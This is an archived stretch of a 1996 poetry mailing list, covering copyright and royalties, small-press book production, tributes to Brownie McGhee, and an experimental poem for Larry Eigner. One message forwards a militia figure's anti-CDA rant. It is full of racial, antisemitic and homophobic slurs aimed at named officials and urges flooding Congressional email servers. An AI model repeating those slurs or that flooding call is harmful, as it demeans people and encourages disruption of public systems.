The Wobblies here may be getting involved in something called LETsystem, which a sort of bartering system where you barter for points rather than things or services, so that someone could owe a bunch of points and pay them back, not to the person ze directly owed but maybe to some completely different persons. I will certainly suggest sapphos as the currency. Sounds great to me. :-) Gab.

↑ Index

507. Gabrielle Welford
mrning (fwd)
Fri 16 Feb 1996

Just gotta add this into the conversation. Apparently Linda Thompson is an anchorwoman (huh? do I got that right?) for the patriot/militant crowd. Gab.

Delete now if you are squeamish about bad language...

>AEN News
>by LINDA THOMPSON <------ Please spell this correctly on the indictment,
>dickheads, thanks.
>
>TOURETTES OF THE INTERNET
>
> The Asswipes we have in CONGRESS just passed the Communications Decency
>Act that makes it illegal to use nasty words on the Internet. Oh, yes, it
>also makes harassment by sending messages illegal, too, and you can't
>discuss naughty things like abortion, either.
>(Billy-buttwipe says this part won't be enforced, honest, we have his
>chicken-shit, lying ass word on it.)

>
> What's that you say? The First Amendment says Congress shall pass no
>law . . . abridging the freedom of speech, or of the press??
>
> Assert YOUR right of free speech. Post the message below on every
>newsgroup, every bulletin board, every internet provider, and send
THOUSANDS
>of copies to the Congressional E-mail servers -- FLOOD THOSE
MOTHERFUCKERS
>OUT!!!!
>
> Add your personal favorites to the list.
>
>==========
===
>
> To the SHITHEADS in CONGRESS and Dickhead BILL CLINTON
>and the goose-stepping, dicklickers that plan to enforce this nazi piece of
shit
>legislation:
>
> FUCK YOU AND DOUBLE-FUCK THE COMMUNICATIONS DECENCY ACT.
>
>Abortion, Anus Ass, Assface, Assfucker, Asshole, Assmunch, Asswipe,
>Bill-Clinton-(see
>DICKHEAD), Balls, Ballbuster, Bastard, Batfuck, Batshit, Birdshit,
>Bird's-ass, Bitch, Bitchface,
>Blowjob, Boob, Boobs, Boobies, Breast, Booger, Booger-eater, Bulldyke,
>Bullshit, Bunghole, Butch, Butt, Buttface, Buttfucker, Butthead, Butthole,
>Buttmunch, Buttwipe, Chicken-choker, Chicken-licker, Clit, Cheesedick,
>Clusterfuck, Cock, Cocklicker, Cocksucker, Condom, Crap, Crappy, Cum,
>Cum-bubble, Cum-catcher, Cunnilingus, Cunt, Cuntface, Cunthead, Damn,
Dick,
>Dickface, Dickhead, Dicknose, Dickwipe, Dildo, Dipshit, Dipwad, Doo-doo,
>Dogdick, Dogdung, Dogfucker, Dogshit, Dong, Donkeydick, Dump, Dung, Eat-
me,
>Eat-shit, Fag, Faggot, Fart, French-tickler, Fuck, Fuckhead, Fuckface,
>Fuck-off, Fucked-up, Fudge-packer, Garbonzos, Goatfucker, Goatshit,
>Goddammit, Goddamn, Gook, Hell, Holyshit, Honkers, Hooters, Honkey,
>Horseshit, Hotshit, Jackoff, Janet-Reno-(see CUNT), Jewbastard-(see
SHUMER),
>Kike, Melons, Monkeydicks, Monkeyshit, Motherfucker, Nigger, Nipple,

>Pederasty, Pedophile, Pee pee, Picklelicker, Picklesucker, Piss, Pissant,
>Pissed, Pissed-off, Pisshead, Pissoff, Pisswillie, Potty, Prick, Pud,
>Pudface, Pudknocker, Pud-pounder, Pud-puller, Pud-sucker, Pussy,
>Pussy-whipped, Putz, Queen, Queer, Queerbait, Ratfucker, Ratshit,
>Rectum-nose, Rubber, Schlong, Semen, Shit,
>Shitball, Shitburger, Shiteater, Shit-eating-grin, Shitface, SHIT-HAPPENS,
>Shithead, hitnose, Shitty, Shlong, Slit, Snot, Son-of-a-bitch, Sperm, Suck,
>Teats, Testicles, Titties, Tits,
>Tallywhacker, Tough-shit, Turd, Turdface, Twat, Twatlick, Vagina, Vibrator,
>Wad, Wank, Wee-wee, Whore, Wiener, Wonk, Wop.
>
>Kind regards,
>
>********** V **********
> DEATH TO THE NEW WORLD ORDER
>**********
>
>Linda Thompson
>American Justice Federation
>Home of AEN News
>& news videos, "Waco, the Big Lie," "America Under Siege"
>3850 S. Emerson Ave.
>Indianapolis, IN 46203
>Telephone: [redacted]
>Fax: [redacted]
>Internet: [redacted]
>
>**********
> Remember Waco. The Murderers are still free.
>**********
>Re: Telecommunications Bill Passage
>(It passed. Butthead signed it 2/8/96.)
>
>Congress shall make no law . . . .
>
>If you can't say "Fuck," you can't say, "Fuck the government."
> Lenny
Bruce
>
>**********
>
>AEN subscribers and off-list recipients please NOTE:

>
>After Feb. 28, we will not send to/receive from/cross-post
>or accept cross-posts from AOL.
>
>Boycott America Online - - the fed snoop service.
>
>
>
><---- End Forwarded Message ---->
>
>
>
****

Antonella Fabri
Dept. of Anthropology
Bryn Mawr College
Phone:[redacted]
email: [redacted]

↑ Index

508. **Mark W Scroggins**
Re: mrning (fwd)
Fri 16 Feb 1996

---

o my--is that the Linda Thompson used to be married to Richard, the guitar god? naughty words aplenty!

↑ Index

509. **Ron Silliman**
Re: Bloody Staples
Sat 17 Feb 1996

The idea of books as permanent has something to do with our human sense of time. I do have some volumes from the early 19th century that are in reasonably decent shape, but overall books do age. I find that I respond to each very differently according to how I feel about the book.

The paper in my copy of _The Hotel Wently Poems_ is so acidic that I'm surprised it doesn't combust spontaneously, though the staples that bind it (pure rust after 38 years) seem to have done very little damage. Gradually as those pages darken, the poems will disappear into the darkening grain. Yet I find that Wieners' most satisfying book and have long looked on that process as a living part of those poems.

On the other hand, I find it very depressing to realize that the glue in my copy of _Roots and Branches_ is dissolving. I think I must have had a sense of that book as permanent -- it is still probably my favorite single book of all time -- and find its aging process more alarming.

As for staples, I'd worry more about tetanus than bleeding to death.

Ron Silliman

↑ Index

510. **Ron Silliman**
New address
Sat 17 Feb 1996

Well, presuming we can dig out of our 14th snowstorm in time, we're moving this week.

The new address:

262 Orchard Road
Paoli, PA 19301-1116

Please adjust your mailing lists accordingly.

Ron Silliman

↑ Index

511. **Chris Stroffolino**
Re: (C) up for grabs
Sat 17 Feb 1996

Eryque---thanks for your reply, and i don't disagree with you perse (and if i get to teach again some day I may even teach full books by single poets---and yes even SUN AND MOON poets perhaps dug not to be GLIB!) but the point I was trying to make is different, and I still think maligned. It's the point that one poem---even a short 12 line one-- can be as useful of a "site" (sorry, too much academic theory in me head) for a classroom discussion, and may tell us more about both "poetry" and "language" and "the poet" and "the real world" than a huge voluminous book---sometimes less is more, macrocosm in the microcosm, etc- and sometimes more is less---- and as Barthes wrote somewhere "rereading is something that goes against the ideological and commercial habits of our society" or something to that effect (i think in S/z; and maybe certain people would call Barthes glib too).....best, cs.

↑ Index

512. Pierre Joris
Re: BEAT BLEET
Sat 17 Feb 1996

Aldon,

Charlie Plymell lives in Cherry Valley, NY. (Don't have exact address with me here in California, but can provide in a week or so when back in whittened-out Albany). In fact Cherry Valley is so small a letter to him there wld in all likelihood reach him. -- Pierre

On Fri, 16 Feb 1996,
Aldon L. Nielsen wrote:

> *Well,,, I've unsubbed from BEAT-L after a few weeks of unproductive lurking -- meanwhile, I'm still trying to find Ray Bremser -- Does anyone know how to reach Charles Plymell, who pub'd Bremser in the past?? Mr. Higgins, if you're still out there, I seem to remember you're having been pub'd by a Plymell press once, any idea where he is now?*
>
> *"your" for "you're" above*

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

↑ Index

513. Kenneth Sherwood
To copy or not to copy
Sun 18 Feb 1996

One certainly doesn't want the small presses to go out of bizness, tho except in cases where the poets also run the presses, it's hard to see them loosing out. But there is a loss to all of us if the texts aren't available in stores(or even in libraries / to photocopy), as increasingly they aren't.

Setting aside the harm to presses, the custom made xerox pack, complete with rusty staples seems to give the poems more context than the anthology. At least there is the implication of a larger world.

But who wrote of 'allowing' students to buy whole books, encouraging one to spend the last dime each month at the bookstore. Reminds me of the psychoanalytic custom of requiring the patient to pay 'something' as part of the therapy.

KS

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

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514. Loss Glazier

Some Thoughts on Eigner [long post]

Sun 18 Feb 1996

Loss Pequen~o Glazier

WHAT SOUND A WALL

For Larry Eigner

---

walls, soundless, are stable, allow the application of pressure as swallows reflect sound

where you think of what a wall is. How it reflects. How its position swounds an acoustic

however auditory acrostic of stunned steps from the straits of its audiational vista

bay is a bowl the geographic sun room's horticulture not hormuz how zounds leads

is the wall that stands outside which sends windows sounds "The Music, The Rooms"

in "silence silence silence silence sound" where sound only capable amid the profusion

of wounds. Silence marks the beat, its time, makes sounds possible within the noise

of whitespace caterwauling when insisted marking to side is what words spark remark

"on the walls" sustain. On both sides, whether the push outside punctuates birds

its conscious present of paper cosmos whether "times advance" ie tides, ties, pools

or manmade poles, pinpoints, power ... "with desperate ease" sees color's infrared

light also from a punctuation of circling, "the food, the power" inside its simple strait

plunge which is the food and the powder, torpid "tropic" for fleck, as light is a speck

or inspect how birds themselves circle before blunting, plunging, plageant "pinpoint"

"how distance is to some birds" simply said how IS distance to some? Is any distance

possible when circling--no distance--leads to food? The answer that such distance is the

"pinpoint"--the sun point, the pole from perspective of bird's sky view, "back up" its cries

"the meaning of change" is in a change of rooms. This is information itself, which room

and which side is outside (or "so the words go up/ into thin air" how "the parlor" pauses

"the speaking" only existing against the parlor and MADE POSSIBLE by a physical pause

as this pause leads to "room". Room for pause and the pause which makes room

place once inside. There windowed against the spoken pause musical parlor under skies

skies hold mutable pause midwing "birds pass the window" pause "the curves together")

sound only plays against its instrument (forgotten) "on the screen" "the clock shakes out"

as is player piano--a scroll of white of "silence silence silence silence sound" where sound

only capable amid the profusion of wounds--the punctuations as punctures the scroll

makes room for. The player piano is an instrument forgotten of silence which produces

sound song written as if through a wall which pauses sense of sound. Elsewise

a vase for precarious things "a live broadcast" indeed when marks behind screen

which mars sounds themselves how ... circling ... how silence is to some birds.

> *It takes some remembering, but I think it's probably easy to see those*
>
> *clusters of words about the page in such a way as to interpret them as*
>
> *airy, even wispy, and I think that's an error a lot of people do make (rs)*

"wampum gulls broke shells" determine rhythm insist sound defines--beyond walls

"directed" how to eyes, Africa, dogs, hair bleach, and scurvy roll off five such beats

between pivots that pinpoint bikes sea sights voyage the studio that spins dark strife

how did those gulls break shells? as "they might" dive "headlong into" spells? how

is wampum also shells and broke also without wampum but moreso there are not

things here: the currency of the letter in stuttering conjunction of zounds ("wonder

and astonishment") and swounds (wound + swoons)--falling from the sky, mating--

in the hand but distant "how distance is to some birds" is "the dim expanding miles"

see sea saw as white white white white light holds steady "they might drive headlong"

as headlights hound the wall of sight:

                a steady white light

                they might drive headlong into

                the mist like a magnet

                blows lost bearings

---

belows of hearings

> *... as if the poems had become*
>
> *an organ, the sky bellows. (cb)*

The magnet is a pivot and the pivot is the space on the wall its attractive drawn

magnetism as physical as the pull between 'they might drive like a magnet' and

'the mist blows like a magnet'. The pull creates the space which is the magnet that

"blows lost bearings" next, of course rest. Sounds come from rests which next

"nest in fisherman's pocket"--nets contains the same letters as nest--as nets which

sent tens the magnet of a pocket. An afterword note describes Pokagan the note itself

as much SHAPE as lexical value. As words, trace of magnet drawn across glass, scores

flight of pigeons across "nuggets of sound carving space" (cb) storm craving place

how the birds sound there--in is in all cases sound there "commingling", mix of

> "*geometry of ties that blind in music*" *(cb)* "*What sound for our ears*"

sleigh of ear bells and thundering of encroaching charm. The birds as charm of

sound's astonished sense fluttering "all about me; gently" an onset as extinct

however never more vivid than in Pokagan's description--brought even more

to vivacity against a wall, with the screen and its "live performance" which is less

pivot spun

sERK Life

irises*

---

*headlights, sights, "a steady white light"

how you would "carefully concealed them under my blanket" why and what is the

blanket? Simply the silence that makes sound possible only as an outline in its furls.

Words are present passing as they did "like a cloud through the branches of the high

trees"--the driving "headlong into / the mist"--that is this blanketing action where a

plane lengthens through fog / or cloud bends away / the curves together--the largest

or smallest action may have immense MASS though it's not a mass dependent on size or

bulk but a mass which takes its form from its immediate position in a spectrum of activity

where pages ARE on the page, where places are, or objects are inside a plane or outside.

Whether circling, plunging--but always dependent on its relation. Indeed, where is the bird

when it is raining? Just as what is a sound without a wall, window, or objects for its

reflection? Its sounding without mass but there..."a bird / depending on the weather"

↑ Index

515. Mark Wallace
legacies
Mon 19 Feb 1996

Hey Jordan Davis--I'd watch out, if I were you, of making the claim (even ironically) that the Apex of the M poets are the main next generation inheritors of language writing--someone who's not paying attention might actually think such a comment should be taken as true.

I think it's pretty clear that while language writing has certainly had a broad influence on "avant garde" writers emerging in the aftermath of their success, the Apex of the M crowd is only one of a multitude of directions in which that influence has been taken. And, frankly, it seems that the Apex context has been more influenced by a religious (and even sometime directly transcendentalist) strain in innovative American poetry that comes more from Duncan, the Waldrops, John Taggert, etc., than from the rather completely non-transcendentalist implications of language writing. Remember--the Apex manifestos pretty much reject the value of language writing except as a series

of theoretical insights that (Apex claims) has not really produced much poetry of value.

mark wallace

↑ Index

516. Mark Roberts
(no subject)
Mon 19 Feb 1996

> *I've produced stapled books with wrap around covers which gives them a spine by default.*
>
> _____
> *Mark Roberts*
>
> *Mark -- I'm not certain I understand this. If the wrap around cover has a single crease (not two creases with a flat "spine" in between) I would still consider it without spine, by fault or default. So could you describe what you have done more specifically, either on this list or directly to me at*
> [redacted]
>
> *thanks,*
>
> *charles*

Charles

Sorry to take so long to get back on this - lots to read!

The wrap around covers did have 2 creases and publication details were printed on them. I produced a magazine called P76 (which is still sort of going but not in the same format) which consisted of a hundred or so (gestnered then later photocopied) A4 pages with plain board covers side stapled. A silk screened wrap around cover complete with spine made the mag stand out on bookshelf shelves. I must admit I got this idea from another oz magazine called MAGIC SAM which came out in the late 70s and early 80s. Other oz publishers also used wrap around covers more conventionally - Rigmarole & Sea Crusie come to mind.

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]

PH:(02)[redacted]
FAX:(02)[redacted]

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517. **Aldon L. Nielsen**
Re: Brownie McGhee
Mon 19 Feb 1996

And now, Brownie McGhee has died -- another good friend to poets everywhere -- appeared memorably in Langston Hughes's _Simply Heaven_ years ago -- KLON just ran a one hour tribute, and Taj Mahal, who happened to be in for an interview, played some of the most moving guitar I've ever heard from him, remembering McGhee. Look up some of the old photos of Brownie and Sonny playing around the Village during the Weavers & Woody era --

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518. **Douglas Messerli**
Re: To copy or not to copy
Mon 19 Feb 1996

Dear Kenneth Sherwood,

Don't know who you are, and feel I really needn't repond, but your comments really do confuse me:

1. What does a poet running a press have to do with "losing"--or winning, for that matter? And what does that have to do with the issue of xeroxing books?

2. Our books (that is, Sun & Moon books--which you seem be referring to) are available to most US and English bookstores. They are readily available for use in classrooms and we have excellent distribution. But are you suggesting that smaller presses, who havent' been able to obtain such good distribution, ought to be punished by having their books xeroxed?

3. I said nothing about "allowing" a student anything. I spoke from my own experience of wanting/desiring to purchase books--even when I had little money. I saw that as positive (for myself). Perhaps you don't. But I hardly understand your analogy to a "psychoanalytic custom." I don't see the connection. And you suggesting that pscychologists shouldn't be paid?

Well I truly have had my say on this. I do feel poets ought to receive money for their books, and I feel literary presses should be supported by a community

supposedly interested in poetry. Indee, I feel we ARE supported by that community. And I appreciate it. Obviously, not everyone will agree.

Douglas Messerli

At 08:00 PM 2/18/96 -0500, you wrote:
>One certainly doesn't want the small presses to go out of bizness,
>tho except in cases where the poets also run the presses, it's hard
>to see them loosing out. But there is a loss to all of us if the
>texts aren't available in stores(or even in libraries / to photocopy),
>as increasingly they aren't.
>
>Setting aside the harm to presses, the custom made xerox pack, complete
>with rusty staples seems to give the poems more context than the
>anthology. At least there is the implication of a larger world.
>
>But who wrote of 'allowing' students to buy whole books, encouraging
>one to spend the last dime each month at the bookstore. Reminds me
>of the psychoanalytic custom of requiring the patient to pay 'something'
>as part of the therapy.
>
>KS
>
>_____
>
> Kenneth Sherwood | Dept English
> [redacted] | 618 Clemens Hall
> [redacted] | SUNY @ Buffalo
> |_____Buffalo, NY 14214_____
>
> RIF/T mail: [redacted]
> Electronic Poetry Center (Web address): http://writing.upenn.edu/epc
>_____
>

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519. Douglas Messerli
Eigner post by Loss Glazier
Mon 19 Feb 1996

Loss:

Thanks for the beautiful Eigner piece.

Douglas Messerli

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520. Chris Stroffolino
Re: Brownie McGhee
Mon 19 Feb 1996

Mcgee's great..... Hey, this is off the subject, but I've been meaning to ask this, since Mario Damon asked her question about Mitch Ryder.... I've just recently discovered the music of Charles Wright (not the kinda lamo poet of the same name) and the Watts 103rd St. Rhythm Band------does anybody know what ever happened to him?????? happy black history month, (un)glibly yours,cs.

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521. Kenneth Sherwood
Followed the thread/caught in the web...
Mon 19 Feb 1996

Dear Douglass:

Poets AND psychoanalysts should both get paid. Poets don't, generally speaking. They don't benefit substantially from royalties. What they gain from a press is the distribution of their work, and access to the work of others important to them. Has *any* poet worth her or his salt *ever* made enough money from it to live? What if we discount court patronage and university tenure? I suspect even the Sun&Moon stars make more for one poetry reading than a year of royalties.

My post, you will note was not meant as personal attack, nor was it an attack on the activites of Sun & Moon. It was neither meant to intimate that 'poets running presses' get rich skimming off the top, nor that they don't pay their poets all due royalites. I'm sure you or Charles Alexander or James Sherry can verify this.

But it was meant to suggest that poetry represents a special case, economically and otherwise, in relation to the general question of copyright. Poets as a rule don't live off royalties, simply put.

What poets do is spend money on books. (Please James, I'm good for the 30 buck, send me _Islets/Irritations_.) And since I'm revealing private details, well . . . I was forced to build a new bookshelf this past summer. So I too am concerned with the support of the literary.

So for the poets at least, the whole thing seems a losing proposition, economically, which is perhaps why I'm interested in electronic publishing-- one

way of avoiding 'some' of the problems associated with the poetry market. Rif/t and the EPC don't pay royalties, but we don't have to charge readers either.

I do see it as a loss when poetry texts aren't available. (Anyone have a copy of Mina Loy's _Last Lunar_ they'd give up? Anyone know how to secure the rights of some long-dead poet, say Else Von Freytag Lorignhoven, to republish? Gee, I thought copyright was supposed to help us.)

Given the value of small press activites, I still don't want to FETISHIZE the PURCHASING of books. That, perhaps, is what I should have said initially--I'm feeling more cogent today. And that is perhaps why I thought of the psychoanalytic principle that a patient must pay something, no matter how poor they are or how little they can afford, in exchange for their therapy. This 'payment' is part of the treatment, even when the sum might be insignificant to the psychoanalyst.

My relationship to poetry feels secure, even without such a ritual binding. Douglass, I have the advantage in this exchange of having met you, having heard you read, and owning some 15 or 20 books published/edited by you here on the shelf. I'm sure not paying your light bill, but I do what I can.

Best,

Ken Sherwood

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

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522. **Patrick Phillips**
Re: Brownie McGhee
Mon 19 Feb 1996

Thanks Aldon, I was just listening to the Okeh Mcgee collection today. Wow... I wish I could send everyone a take of Back Home Blues...now he's "east of the sun, west of the moon and everywhere..."

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523. **Eryque Gleason**
Re: Brownie McGhee
Mon 19 Feb 1996

I saw McGhee in chicago at the blues festival last june. Once i got past all the drunk 26 year old guys from the suburbs, he was absolutely great.

It's been a cloudy day here in albany.

eryque

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524. **Christopher L. Filkins**
24 Hours of Democracy
Tue 20 Feb 1996

Please visit http://www.hotwired.com/userland/24 and help if anyone has the time. The project is to generate and put on line in one 24 hour period (this thursday) essays from all over the spectrum discussing free speech, censorship, the CDA indecency clauses, etc in order to show the outside world that the people who participate in the online environment are not all pornographers & would be bombers.

Any essays the members of this list could generate would be welcome indeed. I daresay poems would be pretty cool as well. Complete instructions can be found on the site. There are servers willing to host your essays if you have no server space and I would be willing to host as many as necessary as well. Please contact me offlist if anything is not clear.

Thank you for your time.

Christopher L. Filkins

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525. **Aldon L. Nielsen**
Re: 103d Street
Tue 20 Feb 1996

Don't know what Mr. Wright is up to these days, but will ask around L.A. -- For some time after their "Express Yourself" prime, the band was heard accompanying Bill Withers -- I seem to remember a live Withers collection with the band that was pretty good --

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526. **Ron Silliman**

Re: Followed the thread/caught in the web...

Tue 20 Feb 1996

Both sides of the Douglas/Kenneth discussion are well worth pondering, but this quote of Kenneth's is what provokes me today:

> *I do see it as a loss when poetry texts aren't available. (Anyone have a copy of Mina Loy's _Last Lunar_ they'd give up? Anyone know how to secure the rights of some long-dead poet, say Else Von Freytag Lorignhoven, to republish? Gee, I thought copyright was supposed to help us.)*

The idiocy that made Faber (I think it was Faber) demand a ridiculous some of money for the work of David Jones effectively kept his work out of Poems for the Millenium. It seems to me that there are dozens of poets who have been similarly badly served, not by copyright, but rather by copyright holders who had some particular agenda of their own they wanted to see made manifest. Think of Kerouac, say.

Charles Bernstein has, in an exemplary fashion, discussed the royalty system at Sun&Moon and its impact economically (a given book will earn the author in the high three figures). Others, like Roof, use the 10% of copies methodology--which has always seemed to me perfectly good and maybe even preferable to a royalty payment.

So, royalties will not make you rich unless you are Allen Ginsberg (who has certainly made over $1 million on that alone) or Robert Bly. But the real money in poetry is almost always indirect -- honoraria for readings, grants, teaching jobs for which you could not otherwise have competed, the sale of archives, etc. I've done well enough to have _averaged_ over $3,000 a year in poetry income over 30+ years. Yet in 1995, my total royalty income was $6.47 (thank you American Poetry Archives). Like a few other poets (Michael Palmer and Kathleen Fraser come to mind), I've actually bought a house with "poetry money." But I certainly wouldn't try to live on it.

So I find my interests on both sides of this discussion. As a writer, I have an interest in getting paid for my work. As a writer, I have an interest in my work being disseminated as broadly as possible. By any means necessary, as the Black Panthers would have put it.

During my years at Socialist Review, I got to watch a lot of requests from professors for permission to reprint various works in photocopied course packs. It seems to be pretty much a routine practice in certain fields, like sociology, poli sci or history. Yet as the holder of my own copyright on every one of my books, I'm very rarely asked this same question for poetry. Personally, I don't

believe that people only use entire books of mine when they want to teach my work in a class.

What I do think is that lit courses (and, more exactly, the people who teach them) tend to have an idea about is an appropriate level of spending to require of a student that is much lower than would apply in a course in, say, economics. Partly it's because as students we all got used to the idea that books of literature are inexpensive mass market or trade paperbacks, rather than expensive textbooks. On a per-class basis, a degree in English tends to be pretty inexpensive from the perspective of texts. In many other fields the average would be on the high side of $50. And for a graduate course, considerably higher.

I think the solution to this is balance. As a writer, as a publisher, as a teacher, to seek a fair balance between getting the work out and paying for the right to copy a text. As Jones and Kerouac have taught us (the hard way), writers should be explicit in their instructions to literary executors that they want the work to be available, and to strive to see that that happens. Teachers ought to feel free to use course packs -- there are lots of good reasons to do so -- but they ought to clear permission in advance and to pay a nominal per copy fee to do so. That's never too much to ask.

Ron Silliman

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527. **Charles Alexander**

Re: Followed the thread/caught in the web...

Tue 20 Feb 1996

Thanks, Ron, for a clear and intelligent comment on the copyright/permission/royalty issue. I'd also say that for some (one here) who have benefited from poetry money via archive sales, such money mostly goes into publishing more poetry, therefore, in the economy of such activities, rather tends to dwindle away. Of course it's somewhat easier to buy a house in places I've lived (southern Arizona, Minneapolis) than in Berkeley.

But when you say that Allen Ginsberg is one who's earned more than $1 million in royalties, I think that $1 million over Allen's 40 years comes out to $25,000/year -- not bad at all in the late 1950's, but not so great in the 1990's. I know, it hasn't been that much every year with consistency, but just wanted to say that however it's come, I hope Ginsberg's earned a lot more than $1 million. And I hope you earn more than $6.47 in 1996.

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528. Henry Gould
Re: Brownie McGhee
Tue 20 Feb 1996

Gonna leave you now,
Goin' anyhow,
Know where I'm bound,
I'm just packin up gettin ready to go.

I'm packin one shoebox for all my clothes
(just packin' up gettin ready to go)
Got so little to carry and so far to go
(just packin up gettin ready to go)

Well you can read my lips, you can't read my mind
(just packin up)
I'm leavin now, gotta leave you behind
(packin up)

Now there's only one thing worryin my mind
(just packin up)
Somebody's gonna enjoy what I'm leavin behind
(Just packin up...gettin ready... to go)

bye bye Brownie

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529. Jordan Davis
ironic consecutivity
Tue 20 Feb 1996

Mark,
I was teaching sound and poetry
to some sixth graders
and at one point they all
began singing A B C D E F G
H I J K L M
and I stopped them there (I didn't
have much time). I realized later that they
were just getting to the good part.
Alpha beta gamma delta epsilon eta
theta iota kappa lambda mu nu ksi...
in the bereshith in the zohar
aren't aleph and beth

given precedence for their modesty?
Jordan

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530. **Jordan Davis**
russian (former USSR) poets query
Tue 20 Feb 1996

Does anybody know of poets from Russia or any other territory of the former Soviet Union living in the US, specifically the eastern US?

Thanks in advance,
Jordan

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531. **Rod Smith**
Question: Berrigan/Cage, Cage/Williams
Tue 20 Feb 1996

Does anybody have a copy of the fake interview with Cage that Berrigan did as it appeared in _Mother_ magazine or _The National Literary Anthology_? It also appears in _Bean Spasms_ but want to determine how revised.

Also, does anybody know anything about the Williams paragraph re Cage's _First Construction_ that appears in the David Revill biography of Cage? The source is not given, it is simply refered to as a response to the premeire. thanks. --Rod

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532. **ryan johnson**
Re: Followed the thread/caught in the web...
Tue 20 Feb 1996

On Mon, 19 Feb 1996, Kenneth Sherwood wrote:

> *Dear Douglass:*
>
> *Poets AND psychoanalysts should both get paid. Poets don't, generally speaking. They don't benefit substantially from royalties.*
> *What they gain from a press is the distribution of their work, and access to the work of others important to them. Has *any* poet worth her or his salt *ever* made enough money from it to live?*

Speaking as one who is (currently) enjoying the same generosity of an institution that he did well by, might I mention Ginsburg?? (The papers are just o so fab, though the locks of hair et all do get in the way sometimes...)--Ryan

> *What if we discount court patronage and university tenure? I suspect even the Sun&Moon stars make more for one poetry reading than a year of royalties.*
>
> *My post, you will note was not meant as personal attack, nor was it an attack on the activites of Sun & Moon. It was neither meant to intimate that 'poets running presses' get rich skimming off the top, nor that they don't pay their poets all due royalites. I'm sure you or Charles Alexander or James Sherry can verify this.*
>
> *But it was meant to suggest that poetry represents a special case, economically and otherwise, in relation to the general question of copyright. Poets as a rule don't live off royalties, simply put.*
>
> *What poets do is spend money on books. (Please James, I'm good for the 30 buck, send me _Islets/Irritations_.) And since I'm revealing private details, well . . . I was forced to build a new bookshelf this past summer. So I too am concerned with the support of the literary.*
>
> *So for the poets at least, the whole thing seems a losing proposition, economically, which is perhaps why I'm interested in electronic publishing-- one way of avoiding 'some' of the problems associated with the poetry market. Rif/t and the EPC don't pay royalties, but we don't (ETC.)>*

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533. **Marisa Januzzi**

Re: Followed the thread/caught in the web...

Tue 20 Feb 1996

Doug, Ken, Ron, assembled guests--

> *have a copy of Mina Loy's _Last Lunar_ they'd give up? Anyone know how to secure the rights of some long-dead poet, say Else Von Freytag Lorignhoven, to republish? Gee, I thought copyright was supposed to help us.)*

sorry..... but... Farrar Straus (unbelievably!) is coming out with the new Loy Selected (produced by the executor) and the Loy bio by Carolyn Burke this June. Has that been said here? Advance orders will help a situation which to put it politely has Mr. Jonathan Galassi sweating in his shirtsleeves.

Baroness Elsa's autobiography-- the one which opens with her trying to strangle her father-- NEEDS to be made available in the states. There's a Canadian edition floating around, I think the editor was Spettigue or something like that, but I don't know the copyright status. Has anyone here tried to pitch a reprint? I mean, some one should go for it; publishers seem kind of receptive to the female modern thing at this moment, and there's a lot of cultural work to be

done. Regardless of the executors. (someone should propose an MLA panel on the legal and economic constructions of literary reputation)(and then only really angry academics will show and no one will speak candidly)

> *basis, a degree in English tends to be pretty inexpensive from the perspective of texts. In many other fields the average would be on the high side of $50. And for a graduate course, considerably higher.*

Well, it's true that the *students* often don't think they should be paying much for texts in a lit class... but I just did half my book orders and it's almost impossible NOT to ask them to spend $50, if you assign say ten whole books and want responsible editions for students to read (&not wear). Cheap editions tend to be unselfconscious about their contents. Plus the IMPORTANCE OF BEING EARNEST (from signet) rubs off on any reader tired enough to fall asleep on it.

The Sun&Moon reprint of TENDER BUTTONS, on the other hand, is 100& sleepsafe and really useful for its preservation of the typographical design of the original. (Thanks!)

Reprinting is a form of translation and I still haven't gotten used to the Penguin Ted Berrigan.... what would be the copyright status on DiPrima's REVOLUTIONARY LETTERS, first edition of which is dedicated to Bob Dylan, and says "this is a free book... power to the people's mimeo machine"? Did city lights then buy or acquire the rights? And will no one reprint it with the original cover design??

--Marisa (shameless, incurable book fetishist)

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534. Christopher J. Beach
Re: legacies
Tue 20 Feb 1996

Questions for Mark or other interested parties:

If M poets are not "the main next generation inheritors of language writing," then who is? And if the language poets have not produced much poetic writing of value, who has (aside from Taggart, Waldrop and Duncan)? And can we really describe poets like Lyn Hejinian as "completely non-transcendental"? Who are we including under the rubric of "language" poetry anyway? Where do poets like Leslie Scalapino, Kathleen Fraser, and John Yau fit in? How about Michael Palmer? Is he an L-poet or a proto-M poet?

Christopher Beach

On Mon, 19 Feb 1996, Mark Wallace wrote:

> *Hey Jordan Davis--I'd watch out, if I were you, of making the claim (even ironically) that the*
> *Apex of the M poets are the main next generation inheritors of language writing--someone who's not paying attention might actually think such a comment should be taken as true.*

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535. **Eryque Gleason**

Re: Followed the thread/caught in the web...

Tue 20 Feb 1996

Marisa sd:

> *orders and it's almost impossible NOT to ask them to spend $50, if you assign say ten whole books and want responsible editions for students to read (&not wear).*

Marisa, you managed to get TEN WHOLE books for $50 for yr students? You do mean real books, right? Not pamplets from the tobacco industry or instructions for the 1040? I just had to spend $60 for five books, plus $25 or so for a sizable compilation of essays for one class. The five were thin paperback novels, all less than 150 pages, relatively good quality for small(ish) press stuff. But the least expensive was still seven bucks. The last time i saw a price on _Zen & the Art..._, it was $9.95 for a paperback on cheap paper, which i left on the bus one day. I managed to find a copy in a used book store for $3. It turns out that it was printed two months after i was born, with an original cover price of $2.25!!

> *Plus the IMPORTANCE OF BEING EARNEST (from signet) rubs off on any reader tired enough to fall asleep on it.*
>
> *The Sun&Moon reprint of TENDER BUTTONS, on the other hand, is 100& sleepsafe and really useful for its preservation of the typographical design of the original. (Thanks!)*

And it lasted through numerous chicago el trips in my back pocket without much damage, and i ain't easy on books!

Eryque (budding book fetishist)

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536. Hank Lazer
Lazer electronic chap information for all
Tue 20 Feb 1996

To all on the list:
Announcing an electronic chapbook by Hank Lazer:

POEMS AND NOTES FROM DAYS

includes an introduction to the work as well as selections with commentary.
available upon request from:

